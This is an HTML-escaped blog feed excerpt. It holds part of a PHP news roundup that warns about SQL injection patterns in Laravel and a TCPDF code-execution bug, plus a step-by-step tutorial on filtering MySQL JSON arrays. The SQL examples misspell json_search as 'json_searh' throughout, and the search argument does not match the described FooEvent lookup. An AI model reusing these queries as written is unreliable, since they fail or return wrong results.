    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;isPropagationStopped&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;bool&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;phpunit-8-released&quot;&gt;PHPUnit 8 released&lt;/h3&gt;

&lt;p&gt;Containing mainly deprecations and dropping support for PHP 7.1, 
&lt;a href=&quot;https://github.com/sebastianbergmann/phpunit/blob/130104cf796a88dd1547dc5beb8bd555c2deb55e/ChangeLog-8.0.md#800---2019-02-01&quot;&gt;PHPUnit 8 was released&lt;/a&gt;.&lt;/p&gt;

&lt;h3 id=&quot;laravel-gets-psalm-support&quot;&gt;Laravel gets Psalm support&lt;/h3&gt;

&lt;p&gt;The best static analyser (IMO) has &lt;a href=&quot;https://medium.com/@muglug/announcing-psalm-support-for-laravel-8a0fc507e220&quot;&gt;released support for Laravel&lt;/a&gt;.
It’s been a long time coming, mainly because of all the magic and static calls in Laravel, but it’s
here and it will drastically improve your codebase.&lt;/p&gt;

&lt;h3 id=&quot;sql-injection-in-laravel&quot;&gt;SQL injection in Laravel&lt;/h3&gt;

&lt;p&gt;There were a couple of SQL injection vulnerabilities discovered in Laravel. Both of them come down
to the developer passing untrusted data into query builders so if you follow best practices and
don’t do this, then you’re fine.&lt;/p&gt;

&lt;p&gt;The first one has been “fixed” by adding a warning to the documentation to let the developer know
not to pass in untrusted data. Here is an example from the &lt;a href=&quot;https://blog.laravel.com/unique-rule-sql-injection-warning&quot;&gt;laravel blog
post&lt;/a&gt; on the issue:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Rule::unique('users')-&amp;gt;ignore($user-&amp;gt;id);
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If instead of using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$user-&amp;gt;id&lt;/code&gt; in the above function call, you use some user provided data, then
you are vulnerable to an SQL injection.&lt;/p&gt;

&lt;p&gt;The second one, described in a &lt;a href=&quot;https://stitcher.io/blog/unsafe-sql-functions-in-laravel&quot;&gt;stitcher.io
post&lt;/a&gt; relates to querying JSON data in
SQL.&lt;/p&gt;

&lt;p&gt;You write this:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Blog::query()
    -&amp;gt;addSelect('title-&amp;gt;en');
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Laravel converts it to this:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;SELECT json_extract(`title`, '$.&quot;en&quot;') FROM blogs;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;But again, if you get &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;'title-&amp;gt;en'&lt;/code&gt; from user supplied input, you’re vulnerable. Although, this
particular vulnerability is fixed in Laravel 5.8.11.&lt;/p&gt;

&lt;p&gt;It’s important to note, that while it is the frameworks job to help you build fast and secure
applications, quite a lot of responsibility still falls on the developer to make sure they’re
following best practices.&lt;/p&gt;

&lt;h3 id=&quot;remote-code-execution-in-tcpdf&quot;&gt;Remote code execution in TCPDF&lt;/h3&gt;

&lt;p&gt;A &lt;a href=&quot;https://www.zdnet.com/article/severe-security-bug-found-in-popular-php-library-for-creating-pdf-files/&quot;&gt;severe security vulnerability was found in
TCPDF&lt;/a&gt;
allowing an attacker to achieve the holy grail of attacks - a remote code execution. While this
vulnerability was fixed in version 6.2.20, it was accidentally reintroduced so you have to use
version 6.2.22 to be safe.&lt;/p&gt;

&lt;h3 id=&quot;wordpress-minimum-php-version&quot;&gt;WordPress minimum PHP version&lt;/h3&gt;

&lt;p&gt;WordPress has &lt;a href=&quot;https://wptavern.com/wordpress-ends-support-for-php-5-2-5-5-bumps-minimum-required-php-version-to-5-6&quot;&gt;ended support for 5.2
5.5&lt;/a&gt;
so you must now be using 5.6 or above. While this is absolutely great news that we’re finally
raising the bar, we should keep in mind that version 5.6 has been unsupported since the beginning of
the year. Let’s hope they will soon enforce a minimum supported version!&lt;/p&gt;

&lt;h3 id=&quot;symfony-gets-push-capabilities&quot;&gt;Symfony gets push capabilities&lt;/h3&gt;

&lt;p&gt;Symfony has released the &lt;a href=&quot;https://symfony.com/blog/symfony-gets-real-time-push-capabilities&quot;&gt;Mercure
component&lt;/a&gt; which allows
integration with a Mercure Hub - an open protocol for servers to publish updates to clients. You
either have to run your own Mercure Hub or use a third party service.&lt;/p&gt;

&lt;p&gt;You then subscribe to topics using the vanilla JavaScript &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EventSource&lt;/code&gt; and publish updates to the
topics from PHP. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EventSource&lt;/code&gt; opens a persistent connection to the Mercure Hub and registers an
event handler for updates.&lt;/p&gt;</content><author><name></name></author><category term="brisphp" /><category term="brisphp" /><category term="php" /><category term="news" /><summary type="html">I co-organise the BrisPHP Meetup and at the start of every meetup I give a quick talk on recent news and other interesting things that have been happening in the PHP world. The biggest news recently is the development of PHP 7.4 and 8.0!</summary></entry><entry><title type="html">How to filter a MySQL json array of objects</title><link href="https://ndench.github.io/mysql/mysql-filter-json-array" rel="alternate" type="text/html" title="How to filter a MySQL json array of objects" /><published>2019-04-02T00:00:00+10:00</published><updated>2019-04-02T00:00:00+10:00</updated><id>https://ndench.github.io/mysql/mysql-filter-json-array</id><content type="html" xml:base="https://ndench.github.io/mysql/mysql-filter-json-array">&lt;p&gt;Imagine you have a json column in your MySQL table and that column contains a list of objects. In
this example, my list will contain events that have a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;name&lt;/code&gt;, an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;id&lt;/code&gt; and other arbitrary data:&lt;/p&gt;

&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;FooEvent&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;id&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;87dd4f31-664a-4059-a3fc-6472231530e4&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;...&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;BarEvent&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;id&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;8ce05580-ceaf-4eb9-b5af-8ad454ca9ced&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;...&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;BazEvent&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;id&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;23e981cb-9e07-413b-acb0-042cd355e46d&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;...&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So you have a bunch of rows in your table, each of them has an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;events&lt;/code&gt; column that looks something
like the example above. Now let’s say you want to get the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;id&lt;/code&gt; for every &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FooEvent&lt;/code&gt;, that’s not an
easy thing to do and there are multiple steps involved.&lt;/p&gt;

&lt;h2 id=&quot;tldr---just-give-me-the-answer&quot;&gt;TLDR - Just give me the answer&lt;/h2&gt;

&lt;div class=&quot;language-sql highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; 
    &lt;span class=&quot;o&quot;&gt;#&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Find&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;the&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;location&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;of&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;the&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;name&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;attribute&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;path_to_name&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;json_unquote&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;json_searh&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;events&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'one'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'$[*].name'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;AS&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;path_to_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;#&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Change&lt;/span&gt; &lt;span class=&quot;err&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;to&lt;/span&gt; &lt;span class=&quot;err&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;to&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;get&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;the&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;path&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;to&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;the&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;actual&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;event&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;object&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;path_to_parent&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;trim&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;TRAILING&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'.name'&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;path_to_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;AS&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;path_to_parent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;#&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;Get&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;the&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;actual&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;event&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;object&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;event_object&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;json_extract&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;events&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;path_to_parent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;event_object&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;#&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Finally&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;get&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;the&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;event&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;id&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;json_unquote&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;json_extract&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;event_object&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'$.id'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;event_id&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;my_table&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You would get back list of results similar to:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;87dd4f31-664a-4059-a3fc-6472231530e4
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;each-step-explained-in-more-detail&quot;&gt;Each step explained in more detail&lt;/h2&gt;

&lt;h3 id=&quot;step-1---find-the-location-of-fooevent-in-the-events-array&quot;&gt;Step 1 - Find the location of FooEvent in the events array:&lt;/h3&gt;

&lt;div class=&quot;language-sql highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; 
    &lt;span class=&quot;n&quot;&gt;json_searh&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;events&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'one'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'$[*].name'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;AS&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;path_to_name&lt;/span&gt; 
&lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;my_table&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You would get back list of results similar to:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&quot;$[0].name&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;But this result is a MySQL &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;json string&lt;/code&gt;, so we have to unquote it before we can use it:&lt;/p&gt;

&lt;div class=&quot;language-sql highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; 
    &lt;span class=&quot;n&quot;&gt;json_unquote&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;json_searh&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;events&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'one'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'$[*].name'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;AS&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;path_to_name&lt;/span&gt; 
&lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;my_table&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You would get back list of results similar to:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$[0].name
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;step-2---get-the-location-of-the-parent-object&quot;&gt;Step 2 - Get the location of the parent object&lt;/h3&gt;

&lt;div class=&quot;language-sql highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; 
    &lt;span class=&quot;o&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;path_to_name&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;json_unquote&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;json_searh&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;events&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'one'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'$[*].name'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;AS&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;path_to_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;trim&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;TRAILING&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'.name'&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;path_to_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;AS&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;path_to_parent&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;my_table&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You would get back list of results similar to:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$[0]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Notice that I created a MySQL user defined variable here, which makes the code much easier to read.
Otherwise you end up with a single massive unreadable line.&lt;/p&gt;

&lt;h3 id=&quot;step-3---get-the-parent-object&quot;&gt;Step 3 - Get the parent object&lt;/h3&gt;

&lt;div class=&quot;language-sql highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; 
    &lt;span class=&quot;o&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;path_to_name&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;json_unquote&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;json_searh&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;events&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'one'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'$[*].name'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;AS&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;path_to_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;path_to_parent&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;trim&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;TRAILING&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'.name'&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;path_to_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;AS&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;path_to_parent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;json_extract&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;events&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;path_to_parent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;event_object&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;my_table&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You would get back list of results similar to:&lt;/p&gt;

